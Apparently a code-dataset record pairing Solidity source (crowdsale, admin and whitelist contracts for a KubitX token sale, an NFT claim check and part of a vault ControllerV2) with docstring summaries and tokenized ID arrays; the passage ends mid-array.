* another `nonReentrant` function.
* @param beneficiary Recipient of the token purchase
*/
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(
msg.sender,
beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use `super` in contracts that inherit from Crowdsale to extend their validations.
* Example from CappedCrowdsale.sol's _preValidatePurchase method:
* super._preValidatePurchase(beneficiary, weiAmount);
* require(weiRaised().add(weiAmount) <= cap);
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
require(beneficiary != address(0));
require(weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param beneficiary Address performing the token purchase
* @param weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param beneficiary Address performing the token purchase
* @param tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
_token.safeTransfer(beneficiary, tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send tokens.
* @param beneficiary Address receiving the tokens
* @param tokenAmount Number of tokens to be purchased
*/
function _processPurchase(
address beneficiary,
uint256 tokenAmount
)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param beneficiary Address receiving the tokens
* @param weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(
address beneficiary,
uint256 weiAmount
)
internal
{
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 weiAmount)
internal view returns (uint256)
{
return weiAmount.mul(_rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(isOpen());
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param openingTime Crowdsale opening time
* @param closingTime Crowdsale closing time
*/
constructor(uint256 openingTime, uint256 closingTime) internal {
// solium-disable-next-line security/no-block-members
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
/**
* @return the crowdsale opening time.
*/
function openingTime() public view returns(uint256) {
return _openingTime;
}
/**
* @return the crowdsale closing time.
*/
function closingTime() public view returns(uint256) {
return _closingTime;
}
/**
* @return true if the crowdsale is open, false otherwise.
*/
function isOpen() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > _closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
onlyWhileOpen
view
{
super._preValidatePurchase(beneficiary, weiAmount);
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale with a one-off finalization action, where one
* can do extra work after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor() internal {
_finalized = false;
}
/**
* @return true if the crowdsale is finalized, false otherwise.
*/
function finalized() public view returns (bool) {
return _finalized;
}
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super._finalization() to ensure the chain of finalization is
* executed entirely.
*/
function _finalization() internal {
}
}
/**
* @title CappedCrowdsale
* @dev Crowdsale with a limit for total contributions.
*/
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
/**
* @dev Constructor, takes maximum amount of wei accepted in the crowdsale.
* @param cap Max amount of wei to be contributed
*/
constructor(uint256 cap) internal {
require(cap > 0);
_cap = cap;
}
/**
* @return the cap of the crowdsale.
*/
function cap() public view returns(uint256) {
return _cap;
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
/**
* @dev Extend parent behavior requiring purchase to respect the funding cap.
* @param beneficiary Token purchaser
* @param weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address beneficiary,
uint256 weiAmount
)
internal
view
{
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap);
}
}
/*
Copyright 2018 Binod Nirvan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2018 Binod Nirvan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/*
Copyright 2018 Binod Nirvan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
///@title This contract enables to create multiple contract administrators.
contract CustomAdmin is Ownable {
///@notice List of administrators.
mapping(address => bool) public admins;
event AdminAdded(address indexed _address);
event AdminRemoved(address indexed _address);
///@notice Validates if the sender is actually an administrator.
modifier onlyAdmin() {
require(isAdmin(msg.sender), "Access is denied.");
_;
}
///@notice Adds the specified address to the list of administrators.
///@param _address The address to add to the administrator list.
function addAdmin(address _address) external onlyAdmin returns(bool) {
require(_address != address(0), "Invalid address.");
require(!admins[_address], "This address is already an administrator.");
require(_address != owner(), "The owner cannot be added or removed to or from the administrator list.");
admins[_address] = true;
emit AdminAdded(_address);
return true;
}
///@notice Adds multiple addresses to the administrator list.
///@param _accounts The wallet addresses to add to the administrator list.
function addManyAdmins(address[] _accounts) external onlyAdmin returns(bool) {
for(uint8 i = 0; i < _accounts.length; i++) {
address account = _accounts[i];
///Zero address cannot be an admin.
///The owner is already an admin and cannot be assigned.
///The address cannot be an existing admin.
if(account != address(0) && !admins[account] && account != owner()) {
admins[account] = true;
emit AdminAdded(_accounts[i]);
}
}
return true;
}
///@notice Removes the specified address from the list of administrators.
///@param _address The address to remove from the administrator list.
function removeAdmin(address _address) external onlyAdmin returns(bool) {
require(_address != address(0), "Invalid address.");
require(admins[_address], "This address isn't an administrator.");
//The owner cannot be removed as admin.
require(_address != owner(), "The owner cannot be added or removed to or from the administrator list.");
admins[_address] = false;
emit AdminRemoved(_address);
return true;
}
///@notice Removes multiple addresses to the administrator list.
///@param _accounts The wallet addresses to add to the administrator list.
function removeManyAdmins(address[] _accounts) external onlyAdmin returns(bool) {
for(uint8 i = 0; i < _accounts.length; i++) {
address account = _accounts[i];
///Zero address can neither be added or removed from this list.
///The owner is the super admin and cannot be removed.
///The address must be an existing admin in order for it to be removed.
if(account != address(0) && admins[account] && account != owner()) {
admins[account] = false;
emit AdminRemoved(_accounts[i]);
}
}
return true;
}
///@notice Checks if an address is an administrator.
function isAdmin(address _address) public view returns(bool) {
if(_address == owner()) {
return true;
}
return admins[_address];
}
}
///@title This contract enables you to create pausable mechanism to stop in case of emergency.
contract CustomPausable is CustomAdmin {
event Paused();
event Unpaused();
bool public paused = false;
///@notice Verifies whether the contract is not paused.
modifier whenNotPaused() {
require(!paused, "Sorry but the contract isn't paused.");
_;
}
///@notice Verifies whether the contract is paused.
modifier whenPaused() {
require(paused, "Sorry but the contract is paused.");
_;
}
///@notice Pauses the contract.
function pause() external onlyAdmin whenNotPaused {
paused = true;
emit Paused();
}
///@notice Unpauses the contract and returns to normal state.
function unpause() external onlyAdmin whenPaused {
paused = false;
emit Unpaused();
}
}
///@title This contract enables to maintain a list of whitelisted wallets.
contract CustomWhitelist is CustomPausable {
mapping(address => bool) public whitelist;
event WhitelistAdded(address indexed _account);
event WhitelistRemoved(address indexed _account);
///@notice Verifies if the account is whitelisted.
modifier ifWhitelisted(address _account) {
require(_account != address(0), "Account cannot be zero address");
require(isWhitelisted(_account), "Account is not whitelisted");
_;
}
///@notice Adds an account to the whitelist.
///@param _account The wallet address to add to the whitelist.
function addWhitelist(address _account) external whenNotPaused onlyAdmin returns(bool) {
require(_account != address(0), "Account cannot be zero address");
if(!whitelist[_account]) {
whitelist[_account] = true;
emit WhitelistAdded(_account);
}
return true;
}
///@notice Adds multiple accounts to the whitelist.
///@param _accounts The wallet addresses to add to the whitelist.
function addManyWhitelist(address[] _accounts) external whenNotPaused onlyAdmin returns(bool) {
for(uint8 i = 0;i < _accounts.length;i++) {
if(_accounts[i] != address(0) && !whitelist[_accounts[i]]) {
whitelist[_accounts[i]] = true;
emit WhitelistAdded(_accounts[i]);
}
}
return true;
}
///@notice Removes an account from the whitelist.
///@param _account The wallet address to remove from the whitelist.
function removeWhitelist(address _account) external whenNotPaused onlyAdmin returns(bool) {
require(_account != address(0), "Account cannot be zero address");
if(whitelist[_account]) {
whitelist[_account] = false;
emit WhitelistRemoved(_account);
}
return true;
}
///@notice Removes multiple accounts from the whitelist.
///@param _accounts The wallet addresses to remove from the whitelist.
function removeManyWhitelist(address[] _accounts) external whenNotPaused onlyAdmin returns(bool) {
for(uint8 i = 0;i < _accounts.length;i++) {
if(_accounts[i] != address(0) && whitelist[_accounts[i]]) {
whitelist[_accounts[i]] = false;
emit WhitelistRemoved(_accounts[i]);
}
}
return true;
}
///@notice Checks if an address is whitelisted.
function isWhitelisted(address _address) public view returns(bool) {
return whitelist[_address];
}
}
/**
* @title TokenSale
* @dev Crowdsale contract for KubitX
*/
contract TokenSale is CappedCrowdsale, FinalizableCrowdsale, CustomWhitelist {
event FundsWithdrawn(address indexed _wallet, uint256 _amount);
event BonusChanged(uint256 _newBonus, uint256 _oldBonus);
event RateChanged(uint256 _rate, uint256 _oldRate);
uint256 public bonus;
uint256 public rate;
constructor(uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
IERC20 _token,
uint256 _bonus,
uint256 _cap)
public
TimedCrowdsale(_openingTime, _closingTime)
CappedCrowdsale(_cap)
Crowdsale(_rate, _wallet, _token) {
require(_bonus > 0, "Bonus must be greater than 0");
bonus = _bonus;
rate = _rate;
}
///@notice This feature enables the admins to withdraw Ethers held in this contract.
///@param _amount Amount of Ethers in wei to withdraw.
function withdrawFunds(uint256 _amount) external whenNotPaused onlyAdmin {
require(_amount <= address(this).balance, "The amount should be less than the balance/");
msg.sender.transfer(_amount);
emit FundsWithdrawn(msg.sender, _amount);
}
///@notice Withdraw the tokens remaining tokens from the contract.
function withdrawTokens() external whenNotPaused onlyAdmin {
IERC20 t = super.token();
t.safeTransfer(msg.sender, t.balanceOf(this));
}
///@notice Enables admins to withdraw accidentally sent ERC20 token to the contract.
function withdrawERC20(address _token) external whenNotPaused onlyAdmin {
IERC20 erc20 = IERC20(_token);
uint256 balance = erc20.balanceOf(this);
erc20.safeTransfer(msg.sender, balance);
}
///@notice Changes the bonus.
///@param _bonus The new bonus to set.
function changeBonus(uint256 _bonus) external whenNotPaused onlyAdmin {
require(_bonus > 0, "Bonus must be greater than 0");
emit BonusChanged(_bonus, bonus);
bonus = _bonus;
}
///@notice Changes the rate.
///@param _rate The new rate to set.
function changeRate(uint256 _rate) external whenNotPaused onlyAdmin {
require(_rate > 0, "Rate must be greater than 0");
emit RateChanged(_rate, rate);
rate = _rate;
}
///@notice Checks if the crowdsale has closed.
function hasClosed() public view returns (bool) {
return super.hasClosed() || super.capReached();
}
///@notice This is called before determining the token amount.
///@param _beneficiary Contributing address of ETH
///@param _weiAmount ETH contribution
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal view whenNotPaused ifWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
///@notice Returns the number of tokens for ETH
///@param _weiAmount ETH contribution
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 tokenAmount = _weiAmount.mul(rate);
uint256 bonusTokens = tokenAmount.mul(bonus).div(100);
return tokenAmount.add(bonusTokens);
}
///@notice overrided to store the funds in the contract itself
//solhint-disable-next-line
function _forwardFunds() internal {
//nothing to do here
}
} | @notice Adds multiple accounts to the whitelist.@param _accounts The wallet addresses to add to the whitelist. | function addManyWhitelist(address[] _accounts) external whenNotPaused onlyAdmin returns(bool) {
for(uint8 i = 0;i < _accounts.length;i++) {
if(_accounts[i] != address(0) && !whitelist[_accounts[i]]) {
whitelist[_accounts[i]] = true;
emit WhitelistAdded(_accounts[i]);
}
}
return true;
}
| 1,753,236 | [
1,
3655,
3229,
9484,
358,
326,
10734,
18,
389,
13739,
1021,
9230,
6138,
358,
527,
358,
326,
10734,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
527,
5594,
18927,
12,
2867,
8526,
389,
13739,
13,
3903,
1347,
1248,
28590,
1338,
4446,
1135,
12,
6430,
13,
288,
203,
565,
364,
12,
11890,
28,
277,
273,
374,
31,
77,
411,
389,
13739,
18,
2469,
31,
77,
27245,
288,
203,
1377,
309,
24899,
13739,
63,
77,
65,
480,
1758,
12,
20,
13,
597,
401,
20409,
63,
67,
13739,
63,
77,
65,
5717,
288,
203,
3639,
10734,
63,
67,
13739,
63,
77,
13563,
273,
638,
31,
203,
203,
3639,
3626,
3497,
7523,
8602,
24899,
13739,
63,
77,
19226,
203,
1377,
289,
203,
565,
289,
203,
203,
565,
327,
638,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x075318650DfFBcf3488b3b545276e50180B4e699/sources/contracts/MyContract2.sol | uint256 fee = _quantity * mintRate;require(paymentToken.balanceOf(_claimer, address(this), fee), "Token transfer failed");uint256 fee = mintRate * _quantity; | function verifyClaim(address _claimer, uint256 _tokenId, uint256 _quantity) public view override {
require(paymentToken.balanceOf(_claimer) == mintRate, "you have not enought token balance for Mint Hero!");
require(isGamePaused == false, "Game Paused!");
require(_quantity == 1, "You can only claim one Hero at a time!");
require(balanceOf[_claimer][_tokenId] == 0, "You have a Hero, you cant claim. If you want to more Heroes you must buy on NftMarket.");
for (uint256 i = 0; i < 8; i++) {
require(balanceOf[_claimer][i] == 0, "You have a Hero, you cant claim. If you want to more Heroes you must buy on NftMarket.");
}
}
| 9,538,577 | [
1,
11890,
5034,
14036,
273,
389,
16172,
225,
312,
474,
4727,
31,
6528,
12,
9261,
1345,
18,
12296,
951,
24899,
830,
69,
4417,
16,
1758,
12,
2211,
3631,
14036,
3631,
315,
1345,
7412,
2535,
8863,
11890,
5034,
14036,
273,
312,
474,
4727,
225,
389,
16172,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3929,
9762,
12,
2867,
389,
830,
69,
4417,
16,
2254,
5034,
389,
2316,
548,
16,
2254,
5034,
389,
16172,
13,
1071,
1476,
3849,
288,
203,
203,
3639,
2583,
12,
9261,
1345,
18,
12296,
951,
24899,
830,
69,
4417,
13,
422,
312,
474,
4727,
16,
315,
19940,
1240,
486,
570,
83,
9540,
1147,
11013,
364,
490,
474,
670,
2439,
4442,
1769,
203,
203,
3639,
2583,
12,
291,
12496,
28590,
422,
629,
16,
315,
12496,
21800,
3668,
4442,
1769,
203,
3639,
2583,
24899,
16172,
422,
404,
16,
315,
6225,
848,
1338,
7516,
1245,
670,
2439,
622,
279,
813,
4442,
1769,
203,
3639,
2583,
12,
12296,
951,
63,
67,
830,
69,
4417,
6362,
67,
2316,
548,
65,
422,
374,
16,
315,
6225,
1240,
279,
670,
2439,
16,
1846,
848,
88,
7516,
18,
971,
1846,
2545,
358,
1898,
670,
2439,
281,
1846,
1297,
30143,
603,
423,
1222,
3882,
278,
1199,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
1725,
31,
277,
27245,
288,
203,
5411,
2583,
12,
12296,
951,
63,
67,
830,
69,
4417,
6362,
77,
65,
422,
374,
16,
315,
6225,
1240,
279,
670,
2439,
16,
1846,
848,
88,
7516,
18,
971,
1846,
2545,
358,
1898,
670,
2439,
281,
1846,
1297,
30143,
603,
423,
1222,
3882,
278,
1199,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4b847DE01696f7D94b50Df9F2B4BdFEeAA379722/sources/ControllerV2.sol | / keccak256(abi.encodePacked("ADMIN")); keccak256(abi.encodePacked("HARVESTER")); | contract ControllerV2 is IControllerV2, AccessControl {
using SafeMath for uint;
bytes32 public constant override ADMIN_ROLE =
0xdf8b4c520ffe197c5343c6f5aec59570151ef9a492f2c624fd45ddde6135ec42;
bytes32 public constant override HARVESTER_ROLE =
0x27e3e4d29d60af3ae6456513164bb5db737d6fc8610aa36ad458736c9efb884c;
address public override admin;
address public override treasury;
Changes from Controller V1
- function skim is updated to pass min, max inputs
constructor(address _treasury) public {
require(_treasury != address(0), "treasury = zero address");
admin = msg.sender;
treasury = _treasury;
_grantRole(ADMIN_ROLE, admin);
_grantRole(HARVESTER_ROLE, admin);
}
modifier onlyAdmin() {
require(msg.sender == admin, "!admin");
_;
}
modifier isCurrentStrategy(address _strategy) {
address vault = IStrategyV2(_strategy).vault();
Check that _strategy is the current strategy used by the vault.
require(IVault(vault).strategy() == _strategy, "!strategy");
_;
}
function setAdmin(address _admin) external override onlyAdmin {
require(_admin != address(0), "admin = zero address");
_revokeRole(ADMIN_ROLE, admin);
_revokeRole(HARVESTER_ROLE, admin);
_grantRole(ADMIN_ROLE, _admin);
_grantRole(HARVESTER_ROLE, _admin);
admin = _admin;
}
function setTreasury(address _treasury) external override onlyAdmin {
require(_treasury != address(0), "treasury = zero address");
treasury = _treasury;
}
function grantRole(bytes32 _role, address _addr) external override onlyAdmin {
require(_role == ADMIN_ROLE || _role == HARVESTER_ROLE, "invalid role");
_grantRole(_role, _addr);
}
function revokeRole(bytes32 _role, address _addr) external override onlyAdmin {
require(_role == ADMIN_ROLE || _role == HARVESTER_ROLE, "invalid role");
_revokeRole(_role, _addr);
}
function setStrategy(
address _vault,
address _strategy,
uint _min
) external override onlyAuthorized(ADMIN_ROLE) {
IVault(_vault).setStrategy(_strategy, _min);
}
function invest(address _vault) external override onlyAuthorized(HARVESTER_ROLE) {
IVault(_vault).invest();
}
function harvest(address _strategy)
external
override
isCurrentStrategy(_strategy)
onlyAuthorized(HARVESTER_ROLE)
{
IStrategyV2(_strategy).harvest();
}
function skim(
address _strategy,
uint _min,
uint _max
) external override isCurrentStrategy(_strategy) onlyAuthorized(HARVESTER_ROLE) {
IStrategyV2(_strategy).skim(_min, _max);
}
modifier checkWithdraw(address _strategy, uint _min) {
address vault = IStrategyV2(_strategy).vault();
address token = IVault(vault).token();
uint balBefore = IERC20(token).balanceOf(vault);
_;
uint balAfter = IERC20(token).balanceOf(vault);
require(balAfter.sub(balBefore) >= _min, "withdraw < min");
}
function withdraw(
address _strategy,
uint _amount,
uint _min
)
external
override
isCurrentStrategy(_strategy)
onlyAuthorized(HARVESTER_ROLE)
checkWithdraw(_strategy, _min)
{
IStrategyV2(_strategy).withdraw(_amount);
}
function withdrawAll(address _strategy, uint _min)
external
override
isCurrentStrategy(_strategy)
onlyAuthorized(HARVESTER_ROLE)
checkWithdraw(_strategy, _min)
{
IStrategyV2(_strategy).withdrawAll();
}
function exit(address _strategy, uint _min)
external
override
isCurrentStrategy(_strategy)
onlyAuthorized(ADMIN_ROLE)
checkWithdraw(_strategy, _min)
{
IStrategyV2(_strategy).exit();
}
} | 9,252,462 | [
1,
19,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
2932,
15468,
7923,
1769,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
2932,
44,
985,
3412,
22857,
7923,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
6629,
58,
22,
353,
467,
2933,
58,
22,
16,
24349,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
31,
203,
203,
565,
1731,
1578,
1071,
5381,
3849,
25969,
67,
16256,
273,
203,
3639,
374,
92,
2180,
28,
70,
24,
71,
25,
3462,
1403,
73,
31728,
71,
25,
5026,
23,
71,
26,
74,
25,
69,
557,
6162,
10321,
1611,
10593,
10241,
29,
69,
7616,
22,
74,
22,
71,
26,
3247,
8313,
7950,
449,
323,
26,
26612,
557,
9452,
31,
203,
565,
1731,
1578,
1071,
5381,
3849,
670,
985,
3412,
22857,
67,
16256,
273,
203,
3639,
374,
92,
5324,
73,
23,
73,
24,
72,
5540,
72,
4848,
1727,
23,
8906,
1105,
4313,
25,
3437,
23147,
9897,
25,
1966,
27,
6418,
72,
